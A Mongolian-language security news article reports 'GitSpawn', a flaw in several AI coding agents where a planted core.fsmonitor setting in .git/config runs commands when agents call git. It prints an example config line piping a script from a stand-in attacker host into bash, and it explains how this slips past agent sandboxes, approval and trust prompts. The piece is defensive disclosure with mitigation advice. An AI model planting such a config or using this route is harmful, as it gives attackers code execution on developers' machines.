GitSpawn эмзэг байдал: Хортой .git тохиргоогоор дамжуулан AI кодинг агентуудыг хакердаж буй нь илэрлээ
Хөгжүүлэгч бид өдөр тутмын ажилдаа Cursor, Claude Code, Codex зэрэг хиймэл оюунт агентуудыг тогтмол ашиглаж, код бичих хурдаа үлэмж нэмэгдүүлсээр байгаа билээ. Гэвч шинэ технологи бүхний араас аюулгүй байдлын шинэ цоорхойнууд дагадаг.
Аюулгүй байдлын Manifold Security байгууллага болон Cloud Security Alliance (CSA)-аас зарласнаар зах зээл дээрх өргөн хэрэглэгддэг 7 төрлийн AI кодинг агентад "GitSpawn" хэмээн нэрлэгдсэн маш ноцтой системийн түвшний цоорхой илэрчээ. Энэхүү халдлагын үед та зүгээр л татаж авсан төслийн хавтас руугаа AI агентаа чиглүүлэх төдийд таны эрхээр дурын команд таны компьютер дээр ажиллах эрсдэлтэй байна.
"GitSpawn" гэж юу вэ, энэ нь хэрхэн ажилладаг вэ?
AI кодинг агентууд аливаа төслийн хавтас руу нэвтрэхдээ хамгийн түрүүнд төслийн бүтэц, өөрчлөлт орсон файлуудын мэдээллийг авахын тулд цаанаа git status болон git diff зэрэг командуудыг автоматаар, хэрэглэгчид мэдэгдэлгүйгээр ард (background) дууддаг.
Энэ үед Git-ийн хуучны боловч хүчирхэг нэгэн тохиргоо урхи болон хувирчээ. Git-д файлын системийн өөрчлөлтийг хурдан хянах зориулалттай core.fsmonitor гэх параметр байдаг. Энэ параметрт файлын өөрчлөлтийг шалгадаг script эсвэл хоёртын (binary) файлын заагчийг зааж өгч болдог ба Git index-ээ сэргээх бүртээ тухайн програмыг ажиллуулдаг.
Хэрэв халдагч этгээд репозиторын .git/config файлд дараах байдлаар тохиргоо шургуулсан байвал яах вэ?
[core]
fsmonitor = "curl -s http://attacker.com/payload.sh | bash"
AI агент тухайн хавтсыг уншиж эхэлмэгц Git цаанаа core.fsmonitor-т заасан командыг шууд биелүүлнэ.
Агентуудын хамгаалалтын бүрхүүл (Sandbox) яагаад ажилласангүй вэ?
Энэ цоорхойн хамгийн түгшүүртэй тал нь агентуудын хамгаалалтын бүх шат дамжлагыг бүрэн тойрч гарч буйд байгаа юм:
- LLM сэндбоксоос гадуур ажилладаг: Энэ нь AI моделийн өөрийнх нь гаргасан tool call эсвэл bash execute комманд биш, харин агентын суурь кодоос Git-ийг дуудахад үйлдлийн системийн түвшинд Git өөрөө биелүүлж байгаа үйлдэл юм. Тиймээс агентын суулгасан ямар ч сэндбокс үүнийг барьж чадахгүй.
- Зөвшөөрлийн цонх (Approval prompt) гарахгүй: Хэрэглэгчээс "Би энэ командыг ажиллуулах уу?" гэж асуух тохиргоог огт ажиллуулдаггүй.
- Trust prompt гарахаас ч өмнө биелэгдэнэ: Claude Code болон Hermes Agent дээр хэрэглэгч тухайн фолдерт "итгэх үү?" (Workspace Trust) гэсэн сонголтыг дарж баталгаажуулахаас ч өмнө халдлага амжилттай болсон байна. Харин Qwen Code дээр бүр нэвтрэх (authentication) алхам хийгдээгүй байхад, Grok Build дээр эхний товчлуур дарах төдийд хортой код ажиллаж байжээ.
Халдлага хэрхэн хөгжүүлэгчийн машинд хүрэх вэ?
Энгийн git clone хийхэд Git нь эх репозиторын локал .git/config тохиргоог хуулж авдаггүй тул git clone <url> замаар шууд тархахгүй.
Харин аюул дараах замуудаар дамжин ирж байна:
- Архивлагдсан төслүүд (.zip, .tar.gz): Хэн нэгнээс авсан эх кодын архив дотор
.git/хавтас нь хамт байвал, - Хамтарсан үүлэн сангууд (Shared drives, Google Drive, Dropbox): Хамтрагч нартайгаа sync хийсэн төслийн фолдер,
- USB зөөврийн хэрэгсэл болон бусад шууд файлын хэлбэрээр шилжсэн репозиторууд.
Өртсөн хэрэгслүүд болон нөхөөсүүд
Шинжээчдийн шалгасан 7 томоохон хэрэгсэлд нийт 8 эмзэг цэг илэрчээ:
- Cursor, Goose, OpenAI Codex (CVE-2026-19592): Асуудлыг баталгаажуулж, албан ёсны шинэчлэлт (patch) гаргасан.
- Claude Code: Нэг хувилбарын цоорхойг зассан боловч хоёр дахь замаар халдлага хийх боломж бүрэн хаагдаагүй байна.
- Qwen Code, Grok Build, Hermes Agent: Судалгаа нийтлэгдэх мөчид шинэчлэлт бүрэн хийгдээгүй байв.
Хөгжүүлэгчид өөрсдийгөө хэрхэн хамгаалах вэ?
AI агентуудын бүтээгчид эдгээр асуудлуудыг засаж дуустал хөгжүүлэгчид дараах аюулгүй байдлын арга хэмжээг нэн даруй хэрэгжүүлэх шаардлагатай:
- Гадны эх сурвалжаас татсан ZIP файлуудад сэжигтэй хандах: Шахаж задалсан аливаа төсөл доторх
.git/configфайлыг шалгаж, core.fsmonitor, core.pager зэрэг комманд заасан сэжигтэй тохиргоо байгаа эсэхийг магадлах. - Хэрэгслүүдээ шинэчлэх: Cursor, Claude Code болон бусад AI туслахуудаа хамгийн сүүлийн хувилбар луу яаралтай update хийх.
- Глобал Git хамгаалалт хийх: Хэрэв танай системд
core.fsmonitorзайлшгүй шаардлагагүй бол глобал тохиргоондоо эрсдэлтэй параметрүүдийг хязгаарлах. - Агентын орчныг тусгаарлах: Үл таних кодтой ажиллахдаа Docker container эсвэл тусдаа виртуал орчинд (Dev Container, VM) AI агентаа ажиллуулах дадалтай болох.
AI агентууд бидний ажлын салшгүй хэсэг болж буй энэ үед "Тохиргооны файл бүр нь аюулгүй байдаггүй" гэдгийг GitSpawn харууллаа. Агентууд хөгжихийн хэрээр зөвхөн prompt injection гэлтгүй, уламжлалт хөгжүүлэлтийн файлуудын аюулгүй байдлыг ч шалгах шаардлага үүсэж байна.
Эх сурвалж: The Hacker News, Cloud Security Alliance (CSA) Research Report, Manifold Security Disclosure.
Сэтгэгдэл
Ачаалж байна...